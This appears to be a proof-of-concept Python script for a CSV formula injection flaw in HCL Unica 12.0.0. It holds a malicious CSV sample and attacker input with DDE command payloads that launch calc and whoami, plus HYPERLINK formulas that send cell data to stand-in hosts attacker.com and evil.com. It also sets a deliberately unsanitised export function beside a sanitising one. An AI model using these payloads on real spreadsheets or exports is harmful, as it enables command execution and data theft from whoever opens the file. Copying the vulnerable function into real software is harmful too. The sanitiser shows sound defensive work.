# CSV Formula Injection PoC for CVE-2025-51735
# HCL Unica 12.0.0 CSV Formula Injection
# Malicious CSV content that triggers formula execution
malicious_csv_content = '''Name,Email,Department,Salary
John Doe,
[email protected],Engineering,50000
=cmd|'/c calc'!A0,
[email protected],Hacking,100000
+HYPERLINK("http://attacker.com/steal?data="&A1&A2,"Click")
=DDE("cmd";"/c whoami";"A0")
@SUM(A1:A100)
'''
# Simulated vulnerable export function
def vulnerable_export_to_csv(user_data):
"""
Simulates vulnerable CSV export without input sanitization
"""
csv_output = "Name,Email,Department,Salary\n"
for record in user_data:
# Vulnerable: Direct concatenation without sanitization
csv_output += f"{record['name']},{record['email']},{record['dept']},{record['salary']}\n"
return csv_output
# Safe export function with proper sanitization
def safe_export_to_csv(user_data):
"""
Secure CSV export with proper input sanitization
"""
import csv
import io
def sanitize_field(field):
"""Sanitize CSV fields to prevent formula injection"""
if isinstance(field, str):
# Prefix formula triggers with single quote
if field.startswith(('=', '+', '-', '@', '\t', '\r', '\n')):
field = "'" + field
# Escape quotes
field = field.replace('"', '""')
return field
output = io.StringIO()
writer = csv.writer(output, quoting=csv.QUOTE_ALL)
for record in user_data:
sanitized_record = [sanitize_field(v) for v in record.values()]
writer.writerow(sanitized_record)
return output.getvalue()
# Example usage
if __name__ == "__main__":
# Attacker-controlled input with malicious formula
attacker_data = [
{"name": "Normal User", "email": "
[email protected]", "dept": "Sales", "salary": "45000"},
{"name": "=cmd|'/c calc'!A0", "email": "
[email protected]", "dept": "Hacking", "salary": "999999"},
{"name": "+HYPERLINK(\"http://evil.com?data=\"&A1,\"Click\")", "email": "
[email protected]", "dept": "Social", "salary": "0"}
]
print("[+] Vulnerable CSV Output:")
print(vulnerable_export_to_csv(attacker_data))
print("\n[+] Safe CSV Output:")
print(safe_export_to_csv(attacker_data))